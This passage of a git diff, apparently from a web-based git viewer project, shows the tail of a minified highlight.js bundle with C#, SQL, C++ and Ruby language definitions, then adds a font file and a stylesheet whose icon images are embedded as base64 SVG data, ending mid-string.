interface",e:/[{;=]/,i:/[^\s:]/,c:[e.TM,e.CLCM,e.CBCM]},{bK:"namespace",e:/[{;=]/,i:/[^\s:]/,c:[e.inherit(e.TM,{b:"[a-zA-Z](\\.?\\w)*"}),e.CLCM,e.CBCM]},{cN:"meta",b:"^\\s*\\[",eB:!0,e:"\\]",eE:!0,c:[{cN:"meta-string",b:/"/,e:/"/}]},{bK:"new return throw await else",r:0},{cN:"function",b:"("+b+"\\s+)+"+e.IR+"\\s*\\(",rB:!0,e:/[{;=]/,eE:!0,k:i,c:[{b:e.IR+"\\s*\\(",rB:!0,c:[e.TM],r:0},{cN:"params",b:/\(/,e:/\)/,eB:!0,eE:!0,k:i,r:0,c:[l,e.CNM,e.CBCM]},e.CLCM,e.CBCM]}]}});hljs.registerLanguage("sql",function(e){var t=e.C("--","$");return{cI:!0,i:/[<>{}*#]/,c:[{bK:"begin end start commit rollback savepoint lock alter create drop rename call delete do handler insert load replace select truncate update set show pragma grant merge describe use explain help declare prepare execute deallocate release unlock purge reset change stop analyze cache flush optimize repair kill install uninstall checksum restore check backup revoke comment",e:/;/,eW:!0,l:/[\w\.]+/,k:{keyword:"abort abs absolute acc acce accep accept access accessed accessible account acos action activate add addtime admin administer advanced advise aes_decrypt aes_encrypt after agent aggregate ali alia alias allocate allow alter always analyze ancillary and any anydata anydataset anyschema anytype apply archive archived archivelog are as asc ascii asin assembly assertion associate asynchronous at atan atn2 attr attri attrib attribu attribut attribute attributes audit authenticated authentication authid authors auto autoallocate autodblink autoextend automatic availability avg backup badfile basicfile before begin beginning benchmark between bfile bfile_base big bigfile bin binary_double binary_float binlog bit_and bit_count bit_length bit_or bit_xor bitmap blob_base block blocksize body both bound buffer_cache buffer_pool build bulk by byte byteordermark bytes cache caching call calling cancel capacity cascade cascaded case cast catalog category ceil ceiling chain change changed char_base char_length character_length characters characterset charindex charset charsetform charsetid check checksum checksum_agg child choose chr chunk class cleanup clear client clob clob_base clone close cluster_id cluster_probability cluster_set clustering coalesce coercibility col collate collation collect colu colum column column_value columns columns_updated comment commit compact compatibility compiled complete composite_limit compound compress compute concat concat_ws concurrent confirm conn connec connect connect_by_iscycle connect_by_isleaf connect_by_root connect_time connection consider consistent constant constraint constraints constructor container content contents context contributors controlfile conv convert convert_tz corr corr_k corr_s corresponding corruption cos cost count count_big counted covar_pop covar_samp cpu_per_call cpu_per_session crc32 create creation critical cross cube cume_dist curdate current current_date current_time current_timestamp current_user cursor curtime customdatum cycle data database databases datafile datafiles datalength date_add date_cache date_format date_sub dateadd datediff datefromparts datename datepart datetime2fromparts day day_to_second dayname dayofmonth dayofweek dayofyear days db_role_change dbtimezone ddl deallocate declare decode decompose decrement decrypt deduplicate def defa defau defaul default defaults deferred defi defin define degrees delayed delegate delete delete_all delimited demand dense_rank depth dequeue des_decrypt des_encrypt des_key_file desc descr descri describ describe descriptor deterministic diagnostics difference dimension direct_load directory disable disable_all disallow disassociate discardfile disconnect diskgroup distinct distinctrow distribute distributed div do document domain dotnet double downgrade drop dumpfile duplicate duration each edition editionable editions element ellipsis else elsif elt empty enable enable_all enclosed encode encoding encrypt end end-exec endian enforced engine engines enqueue enterprise entityescaping eomonth error errors escaped evalname evaluate event eventdata events except exception exceptions exchange exclude excluding execu execut execute exempt exists exit exp expire explain export export_set extended extent external external_1 external_2 externally extract failed failed_login_attempts failover failure far fast feature_set feature_value fetch field fields file file_name_convert filesystem_like_logging final finish first first_value fixed flash_cache flashback floor flush following follows for forall force form forma format found found_rows freelist freelists freepools fresh from from_base64 from_days ftp full function general generated get get_format get_lock getdate getutcdate global global_name globally go goto grant grants greatest group group_concat group_id grouping grouping_id groups gtid_subtract guarantee guard handler hash hashkeys having hea head headi headin heading heap help hex hierarchy high high_priority hosts hour http id ident_current ident_incr ident_seed identified identity idle_time if ifnull ignore iif ilike ilm immediate import in include including increment index indexes indexing indextype indicator indices inet6_aton inet6_ntoa inet_aton inet_ntoa infile initial initialized initially initrans inmemory inner innodb input insert install instance instantiable instr interface interleaved intersect into invalidate invisible is is_free_lock is_ipv4 is_ipv4_compat is_not is_not_null is_used_lock isdate isnull isolation iterate java join json json_exists keep keep_duplicates key keys kill language large last last_day last_insert_id last_value lax lcase lead leading least leaves left len lenght length less level levels library like like2 like4 likec limit lines link list listagg little ln load load_file lob lobs local localtime localtimestamp locate locator lock locked log log10 log2 logfile logfiles logging logical logical_reads_per_call logoff logon logs long loop low low_priority lower lpad lrtrim ltrim main make_set makedate maketime managed management manual map mapping mask master master_pos_wait match matched materialized max maxextents maximize maxinstances maxlen maxlogfiles maxloghistory maxlogmembers maxsize maxtrans md5 measures median medium member memcompress memory merge microsecond mid migration min minextents minimum mining minus minute minvalue missing mod mode model modification modify module monitoring month months mount move movement multiset mutex name name_const names nan national native natural nav nchar nclob nested never new newline next nextval no no_write_to_binlog noarchivelog noaudit nobadfile nocheck nocompress nocopy nocycle nodelay nodiscardfile noentityescaping noguarantee nokeep nologfile nomapping nomaxvalue nominimize nominvalue nomonitoring none noneditionable nonschema noorder nopr nopro noprom nopromp noprompt norely noresetlogs noreverse normal norowdependencies noschemacheck noswitch not nothing notice notrim novalidate now nowait nth_value nullif nulls num numb numbe nvarchar nvarchar2 object ocicoll ocidate ocidatetime ociduration ociinterval ociloblocator ocinumber ociref ocirefcursor ocirowid ocistring ocitype oct octet_length of off offline offset oid oidindex old on online only opaque open operations operator optimal optimize option optionally or oracle oracle_date oradata ord ordaudio orddicom orddoc order ordimage ordinality ordvideo organization orlany orlvary out outer outfile outline output over overflow overriding package pad parallel parallel_enable parameters parent parse partial partition partitions pascal passing password password_grace_time password_lock_time password_reuse_max password_reuse_time password_verify_function patch path patindex pctincrease pctthreshold pctused pctversion percent percent_rank percentile_cont percentile_disc performance period period_add period_diff permanent physical pi pipe pipelined pivot pluggable plugin policy position post_transaction pow power pragma prebuilt precedes preceding precision prediction prediction_cost prediction_details prediction_probability prediction_set prepare present preserve prior priority private private_sga privileges procedural procedure procedure_analyze processlist profiles project prompt protection public publishingservername purge quarter query quick quiesce quota quotename radians raise rand range rank raw read reads readsize rebuild record records recover recovery recursive recycle redo reduced ref reference referenced references referencing refresh regexp_like register regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy reject rekey relational relative relaylog release release_lock relies_on relocate rely rem remainder rename repair repeat replace replicate replication required reset resetlogs resize resource respect restore restricted result result_cache resumable resume retention return returning returns reuse reverse revoke right rlike role roles rollback rolling rollup round row row_count rowdependencies rowid rownum rows rtrim rules safe salt sample save savepoint sb1 sb2 sb4 scan schema schemacheck scn scope scroll sdo_georaster sdo_topo_geometry search sec_to_time second section securefile security seed segment select self sequence sequential serializable server servererror session session_user sessions_per_user set sets settings sha sha1 sha2 share shared shared_pool short show shrink shutdown si_averagecolor si_colorhistogram si_featurelist si_positionalcolor si_stillimage si_texture siblings sid sign sin size size_t sizes skip slave sleep smalldatetimefromparts smallfile snapshot some soname sort soundex source space sparse spfile split sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_small_result sql_variant_property sqlcode sqldata sqlerror sqlname sqlstate sqrt square standalone standby start starting startup statement static statistics stats_binomial_test stats_crosstab stats_ks_test stats_mode stats_mw_test stats_one_way_anova stats_t_test_ stats_t_test_indep stats_t_test_one stats_t_test_paired stats_wsr_test status std stddev stddev_pop stddev_samp stdev stop storage store stored str str_to_date straight_join strcmp strict string struct stuff style subdate subpartition subpartitions substitutable substr substring subtime subtring_index subtype success sum suspend switch switchoffset switchover sync synchronous synonym sys sys_xmlagg sysasm sysaux sysdate sysdatetimeoffset sysdba sysoper system system_user sysutcdatetime table tables tablespace tan tdo template temporary terminated tertiary_weights test than then thread through tier ties time time_format time_zone timediff timefromparts timeout timestamp timestampadd timestampdiff timezone_abbr timezone_minute timezone_region to to_base64 to_date to_days to_seconds todatetimeoffset trace tracking transaction transactional translate translation treat trigger trigger_nestlevel triggers trim truncate try_cast try_convert try_parse type ub1 ub2 ub4 ucase unarchived unbounded uncompress under undo unhex unicode uniform uninstall union unique unix_timestamp unknown unlimited unlock unpivot unrecoverable unsafe unsigned until untrusted unusable unused update updated upgrade upped upper upsert url urowid usable usage use use_stored_outlines user user_data user_resources users using utc_date utc_timestamp uuid uuid_short validate validate_password_strength validation valist value values var var_samp varcharc vari varia variab variabl variable variables variance varp varraw varrawc varray verify version versions view virtual visible void wait wallet warning warnings week weekday weekofyear wellformed when whene whenev wheneve whenever where while whitespace with within without work wrapped xdb xml xmlagg xmlattributes xmlcast xmlcolattval xmlelement xmlexists xmlforest xmlindex xmlnamespaces xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltype xor year year_to_month years yearweek",literal:"true false null",built_in:"array bigint binary bit blob boolean char character date dec decimal float int int8 integer interval number numeric real record serial serial8 smallint text varchar varying void"},c:[{cN:"string",b:"'",e:"'",c:[e.BE,{b:"''"}]},{cN:"string",b:'"',e:'"',c:[e.BE,{b:'""'}]},{cN:"string",b:"`",e:"`",c:[e.BE]},e.CNM,e.CBCM,t]},e.CBCM,t]}});hljs.registerLanguage("cpp",function(t){var e={cN:"keyword",b:"\\b[a-z\\d_]*_t\\b"},r={cN:"string",v:[{b:'(u8?|U)?L?"',e:'"',i:"\\n",c:[t.BE]},{b:'(u8?|U)?R"',e:'"',c:[t.BE]},{b:"'\\\\?.",e:"'",i:"."}]},s={cN:"number",v:[{b:"\\b(0b[01']+)"},{b:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)(u|U|l|L|ul|UL|f|F|b|B)"},{b:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],r:0},i={cN:"meta",b:/#\s*[a-z]+\b/,e:/$/,k:{"meta-keyword":"if else elif endif define undef warning error line pragma ifdef ifndef include"},c:[{b:/\\\n/,r:0},t.inherit(r,{cN:"meta-string"}),{cN:"meta-string",b:/<[^\n>]*>/,e:/$/,i:"\\n"},t.CLCM,t.CBCM]},a=t.IR+"\\s*\\(",c={keyword:"int float while private char catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignof constexpr decltype noexcept static_assert thread_local restrict _Bool complex _Complex _Imaginary atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and or not",built_in:"std string cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap array shared_ptr abort abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr",literal:"true false nullptr NULL"},n=[e,t.CLCM,t.CBCM,s,r];return{aliases:["c","cc","h","c++","h++","hpp"],k:c,i:"</",c:n.concat([i,{b:"\\b(deque|list|queue|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\s*<",e:">",k:c,c:["self",e]},{b:t.IR+"::",k:c},{v:[{b:/=/,e:/;/},{b:/\(/,e:/\)/},{bK:"new throw return else",e:/;/}],k:c,c:n.concat([{b:/\(/,e:/\)/,k:c,c:n.concat(["self"]),r:0}]),r:0},{cN:"function",b:"("+t.IR+"[\\*&\\s]+)+"+a,rB:!0,e:/[{;=]/,eE:!0,k:c,i:/[^\w\s\*&]/,c:[{b:a,rB:!0,c:[t.TM],r:0},{cN:"params",b:/\(/,e:/\)/,k:c,r:0,c:[t.CLCM,t.CBCM,r,s,e]},t.CLCM,t.CBCM,i]},{cN:"class",bK:"class struct",e:/[{;:]/,c:[{b:/</,e:/>/,c:["self"]},t.TM]}]),exports:{preprocessor:i,strings:r,k:c}}});hljs.registerLanguage("ruby",function(e){var b="[a-zA-Z_]\\w*[!?=]?|[-+~]\\@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?",r={keyword:"and then defined module in return redo if BEGIN retry end for self when next until do begin unless END rescue else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor",literal:"true false nil"},c={cN:"doctag",b:"@[A-Za-z]+"},a={b:"#<",e:">"},s=[e.C("#","$",{c:[c]}),e.C("^\\=begin","^\\=end",{c:[c],r:10}),e.C("^__END__","\\n$")],n={cN:"subst",b:"#\\{",e:"}",k:r},t={cN:"string",c:[e.BE,n],v:[{b:/'/,e:/'/},{b:/"/,e:/"/},{b:/`/,e:/`/},{b:"%[qQwWx]?\\(",e:"\\)"},{b:"%[qQwWx]?\\[",e:"\\]"},{b:"%[qQwWx]?{",e:"}"},{b:"%[qQwWx]?<",e:">"},{b:"%[qQwWx]?/",e:"/"},{b:"%[qQwWx]?%",e:"%"},{b:"%[qQwWx]?-",e:"-"},{b:"%[qQwWx]?\\|",e:"\\|"},{b:/\B\?(\\\d{1,3}|\\x[A-Fa-f0-9]{1,2}|\\u[A-Fa-f0-9]{4}|\\?\S)\b/},{b:/<<(-?)\w+$/,e:/^\s*\w+$/}]},i={cN:"params",b:"\\(",e:"\\)",endsParent:!0,k:r},d=[t,a,{cN:"class",bK:"class module",e:"$|;",i:/=/,c:[e.inherit(e.TM,{b:"[A-Za-z_]\\w*(::\\w+)*(\\?|\\!)?"}),{b:"<\\s*",c:[{b:"("+e.IR+"::)?"+e.IR}]}].concat(s)},{cN:"function",bK:"def",e:"$|;",c:[e.inherit(e.TM,{b:b}),i].concat(s)},{b:e.IR+"::"},{cN:"symbol",b:e.UIR+"(\\!|\\?)?:",r:0},{cN:"symbol",b:":(?!\\s)",c:[t,{b:b}],r:0},{cN:"number",b:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",r:0},{b:"(\\$\\W)|((\\$|\\@\\@?)(\\w+))"},{cN:"params",b:/\|/,e:/\|/,k:r},{b:"("+e.RSR+"|unless)\\s*",k:"unless",c:[a,{cN:"regexp",c:[e.BE,n],i:/\n/,v:[{b:"/",e:"/[a-z]*"},{b:"%r{",e:"}[a-z]*"},{b:"%r\\(",e:"\\)[a-z]*"},{b:"%r!",e:"![a-z]*"},{b:"%r\\[",e:"\\][a-z]*"}]}].concat(s),r:0}].concat(s);n.c=d,i.c=d;var l="[>?]>",o="[\\w#]+\\(\\w+\\):\\d+:\\d+>",u="(\\w+-)?\\d+\\.\\d+\\.\\d(p\\d+)?[^>]+>",w=[{b:/^\s*=>/,starts:{e:"$",c:d}},{cN:"meta",b:"^("+l+"|"+o+"|"+u+")",starts:{e:"$",c:d}}];return{aliases:["rb","gemspec","podspec","thor","irb"],k:r,i:/\/\*/,c:s.concat(w).concat(d)}});
\ No newline at end of file
diff --git a/assets/inconsolata.ttf b/assets/inconsolata.ttf
new file mode 100644
index 0000000..bdfb1f6
Binary files /dev/null and b/assets/inconsolata.ttf differ
diff --git a/assets/jg2.css b/assets/jg2.css
new file mode 100644
index 0000000..408515d
--- /dev/null
+++ b/assets/jg2.css
@@ -0,0 +1,1019 @@
+pre {
+        font-family: "Inconsolata", "mono";
+        font-size: 14px;
+        margin: 0px;
+        line-height: 110%;
+}
+code {
+        font-family: "Inconsolata", "mono";
+        font-size: 14px;
+        margin: 0px;
+        line-height: 110%;
+}
+
+td {
+	padding: 2px;
+	padding-left: 3px;
+	padding-right: 3px;
+}
+
+td.tight {
+	padding: 0px;
+}
+
+td.heading {
+	font-weight: bold,
+	color: gray
+}
+
+div.header-region {
+	background-color: #ccddcc;
+	width: 100vw;
+	margin-left: calc(50% - 50vw);
+	padding-top:4px;
+	padding-left:12px;
+}
+
+div.footer-region {
+	background-color: #ccddcc;
+	width: 100vw;
+	margin-left: calc(50% - 50vw);
+	margin-top: 6px;
+	padding-left:8px;
+	padding-bottom:4px;
+}
+
+span.heading {
+	font-weight: bold,
+	color: gray
+}
+
+td.headingr {
+	text-align: right
+}
+
+td.r {
+ 	text-align: right
+}
+
+td.dl-file {
+	padding-left: 8px;
+}
+
+td.dl-dir {
+	font-size: 115%;
+	padding-left: 8px;
+}
+
+td.logtitle {
+	font-size: 150%;
+	font-weight: bold
+}
+
+pre.logbody {
+	font-size: 120%;
+	color: #444
+}
+ 
+div.jglinenumbers {
+	text-align: right;
+	color: dark gray;
+	margin-top:0px;
+	width: 6em
+}
+
+div.gitohashi-stats {
+	padding: 0px;
+	color: gray;
+	font-size: 70%;
+}
+
+div.gitohashi-stats td {
+	padding: 0px;
+}
+
+span.blogtitle {
+	font-size: 200%;
+}
+span.blogdate {
+	font-size: 115%;
+	font-style: italic;
+}
+
+div.jg2-tree {
+	background-color: #f0f0f0;
+	padding: 5px;
+}
+
+div.jg2-footer {
+	padding-top: 8px;
+	color: #808080;
+}
+
+span.reponame {
+	font-size: 250%;
+	line-height:100%;
+	vertical-align:middle;
+	display:inline-block;
+	padding-bottom: 0px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+span.blameotron {
+	font-size: 150%;
+	padding-bottom: 0px;
+	vertical-align: top;
+	opacity: 0.8;
+	float:left
+}
+
+div.rpathname {
+	display:inline-block;
+	font-size: 115%;
+	margin-bottom: 0px;
+	padding-top: 8px;
+}
+
+span.reponame a:link {
+	text-decoration: none;
+}
+
+span.reponame a:hover {
+	text-decoration: underline;
+}
+
+td.logmsg a:link {
+	text-decoration: none;
+}
+
+td.logmsg a:hover {
+	text-decoration: underline;
+}
+
+td.info {
+	font-size:110%;
+}
+
+div.jglinenumbers a:link {
+	text-decoration: none;
+}
+
+div.jglinenumbers a:hover {
+	text-decoration: underline;
+}
+
+img.repolist {
+	display: inline-block;
+	float:left;
+	background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA5LjU4NjQgOS41ODY0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KPGRlZnM+CjxmaWx0ZXIgaWQ9ImEiIHg9Ii0uMDc0NCIgeT0iLS4wNzQ0IiB3aWR0aD0iMS4xNDg4IiBoZWlnaHQ9IjEuMTQ4OCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC43NTgxMDk5NiIvPgo8L2ZpbHRlcj4KPC9kZWZzPgo8bWV0YWRhdGE+CjxyZGY6UkRGPgo8Y2M6V29yayByZGY6YWJvdXQ9IiI+CjxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0Pgo8ZGM6dHlwZSByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIi8+CjxkYzp0aXRsZS8+CjwvY2M6V29yaz4KPC9yZGY6UkRGPgo8L21ldGFkYXRhPgo8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtNi4yNDg0IC0yMzUuOTUpIj4KPGNpcmNsZSB0cmFuc2Zvcm09Im1hdHJpeCguMzQxMjIgMCAwIC4zNDEyMiAtNDEuODk5IDE5MS45NykiIGN4PSIxNTUuMTUiIGN5PSIxNDIuOTIiIHI9IjEyLjIyOCIgZmlsdGVyPSJ1cmwoI2EpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NSIvPgo8Y2lyY2xlIGN4PSIxMC44NjMiIGN5PSIyNDAuNTkiIHI9IjQuMTcyMyIgZmlsbD0iI2IzYjNiMyIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4wOTA0MjQiLz4KPHBhdGggZD0ibTEwLjM0NCAyMzkuMTR2Mi45OTM5bC0yLjQ4MjMtMS40MzMyeiIgZmlsbD0iI2VjZWNlYyIvPgo8cGF0aCBkPSJtMTIuOTc4IDIzOS4xNnYyLjk5MzlsLTIuNDgyMy0xLjQzMzJ6IiBmaWxsPSIjZWNlY2VjIi8+CjwvZz4KPC9zdmc+Cg==");
+	width:0px;
+	height:0px;
+	cursor:pointer;
+	padding: 0.5em;
+	background-repeat: no-repeat;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+.oneem {
+	padding: 0.5em;
+}
+
+img.archive {
+	display: inline-block;
+	float:left;
+	background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA0My4yNjkgNDEuMjg5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KPGRlZnM+CjxmaWx0ZXIgaWQ9ImEiIHg9Ii0uMDUzMDI0IiB5PSItLjEyNDY1IiB3aWR0aD0iMS4xMDYiIGhlaWdodD0iMS4yNDkzIiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgo8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIwLjg2MDY0MTIyIi8+CjwvZmlsdGVyPgo8L2RlZnM+CjxtZXRhZGF0YT4KPHJkZjpSREY+CjxjYzpXb3JrIHJkZjphYm91dD0iIj4KPGRjOmZvcm1hdD5pbWFnZS9zdmcreG1sPC9kYzpmb3JtYXQ+CjxkYzp0eXBlIHJkZjpyZXNvdXJjZT0iaHR0cDovL3B1cmwub3JnL2RjL2RjbWl0eXBlL1N0aWxsSW1hZ2UiLz4KPGRjOnRpdGxlLz4KPC9jYzpXb3JrPgo8L3JkZjpSREY+CjwvbWV0YWRhdGE+CjxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKC04My40NDMgLTEzMS4yMSkiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCI+CjxwYXRoIGQ9Im04Ni45MTIgMTU2LjQtMS40MDMyIDAuNjAxMzUgMTcuNzA3IDEzLjQzIDIxLjI0OC0xMC44OTEtMTMuNjMxLTUuNjc5NXoiIGZpbHRlcj0idXJsKCNhKSIvPgo8cGF0aCBkPSJtODYuOTc4IDEzNi4xNi0wLjUzNDU0IDE5LjkxMiAxNy4zNzMgMTIuMTYxIDIwLjE3OS05LjIyMDggMi4yNzE4LTI0LjA1NC0yMi4xODMgNy44ODQ0eiIgZmlsbD0ibm9uZSIvPgo8cGF0aCBkPSJtODYuOTU0IDEzNi4wOCAxOC44NjctNC43MzI2IDIwLjM3OSAzLjU0MTMtMjEuODQ5IDcuOTUxM3oiIGZpbGw9IiNkZWFhODciLz4KPHBhdGggZD0ibTEwNC40OCAxNDIuODQtMC44MDE4MSAyNS41MjQgMjAuMjQ2LTkuNDIxMyAyLjIwNS0yMy45ODd6IiBmaWxsPSIjZDM4ZDVmIi8+CjxwYXRoIGQ9Im04Ny4yNDYgMTM2LjE2IDE3LjEwNSA2LjY4MTctMC41MzQ1NSAyNS41MjQtMTcuMzczLTEyLjU2MnoiIGZpbGw9IiNhMDVhMmMiLz4KPHBhdGggZD0ibTk4LjI3MSAxMzMuMTUgMTguMDQxIDUuNDc5IiBmaWxsPSJub25lIi8+CjxwYXRoIGQ9Im05NS45OTkgMTMzLjY5IDQuNzQ0LTEuMjAyNyAxOC4zMDggNS4wNzgxLTAuMzM0MSA3Ljk1MTMtNC44Nzc3IDMuMjA3MiAwLjMzNDA5LTkuMjg3NnoiIGZpbGw9IiNhNDAiIGZpbGwtb3BhY2l0eT0iLjc2ODYiLz4KPHBhdGggZD0ibTEwMi4yOCAxMzguMSA1LjIxMTggMS43MzcyIiBmaWxsPSJub25lIi8+CjxwYXRoIGQ9Im0xMDAuOTQgMTM4LjU2IDUuMjExOCAxLjczNzIiIGZpbGw9Im5vbmUiLz4KPHBhdGggZD0ibTk5LjQ3MyAxMzkuMSA1LjIxMTggMS43MzcyIiBmaWxsPSJub25lIi8+CjxwYXRoIGQ9Im0xMTIuNjQgMTYwLjg4IDUuNjEyNy0xLjY3MDQtMC4xMzM2MyAyLjQ3MjItNS4zNDU0IDIuNDA1NHoiIGZpbGw9IiNhNDAiIGZpbGwtb3BhY2l0eT0iLjc2MDMzIi8+CjwvZz4KPC9zdmc+Cg==");
+	width:0px;
+	height:0px;
+	cursor:pointer;
+	padding: 0.9em;
+	background-repeat: no-repeat;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.tag {
+	display: inline-block;
+	float:left;
+	background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxOS43NDcgMjEuNDU2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI+CjxkZWZzPgo8bGluZWFyR3JhZGllbnQgaWQ9ImEiIHgxPSIxMDAwLjIiIHgyPSI5OTMuOTkiIHkxPSI5MjguNTciIHkyPSI5OTIuOTciIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoLjI2NDU4IDAgMCAuMjY0NTggLTIwMC43NSAtNTguMzczKSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPgo8c3RvcCBzdG9wLWNvbG9yPSIjZjRlZWVhIiBvZmZzZXQ9IjAiLz4KPHN0b3Agc3RvcC1jb2xvcj0iI2E0OTE4NyIgb2Zmc2V0PSIxIi8+CjwvbGluZWFyR3JhZGllbnQ+CjxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMDYwMzk0IiB5PSItLjA1NTA1MyIgd2lkdGg9IjEuMTIwOCIgaGVpZ2h0PSIxLjExMDEiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CjxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuNDQzMzYzMzMiLz4KPC9maWx0ZXI+CjwvZGVmcz4KPG1ldGFkYXRhPgo8cmRmOlJERj4KPGNjOldvcmsgcmRmOmFib3V0PSIiPgo8ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD4KPGRjOnR5cGUgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIvPgo8ZGM6dGl0bGUvPgo8L2NjOldvcms+CjwvcmRmOlJERj4KPC9tZXRhZGF0YT4KPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTU0LjM4MiAtMTg0Ljk3KSI+CjxwYXRoIGQ9Im02My44OTUgMTg2LjA0Yy0wLjQ3Mzc0IDAuMDEwNC0wLjczMjcxIDAuMjk0MzUtMC45MTkzMiAwLjYxNDQzLTIuNDUgNC4yMzE4LTYuMTI1IDEwLjU3OS03LjM0OTkgMTIuNjk1LTAuNjM0NDIgMS4zMTI3IDAuNTgyNzcgMi44Njc1IDEuMDI2MyAzLjU5NzIgMC41ODUyNiAwLjc3NjkgMC44MDE5MyAxLjE1NDIgMS44NDY5IDEuODgyIDEuMTcxNyAwLjQ2MTY3IDIuMzUwNiAwLjU2MzM1IDIuODA2NiAwLjUzNDM1IDAuNDU1OS0wLjAyOSAyLjcyNjUgMC4yNjQ2NCA0LjU0MzQtMS4zMzY0IDEuMTMxOC0yLjA5NzEgNC42MjEzLTguNjcxNyA2Ljg4NDgtMTIuODY2IDAuMjA1NzctMC4zNzE5NyAwLjY5NTQxLTAuODY1ODMtMC4xMzY0Mi0xLjM2NjMtMi44Mjg2LTEuMjQ3Mi01LjY1NzItMi40OTQxLTguNDg1OC0zLjc0MTQtMC4wNzY5LTAuMDEwNC0wLjE0ODg2LTAuMDE0OS0wLjIxNjUxLTAuMDEzNHptLTQuMjYwNyAxNS44ODVhMS4xMzU5IDEuMDY2NyAwIDAgMSAxLjEzNTggMS4wNjY2IDEuMTM1OSAxLjA2Njcg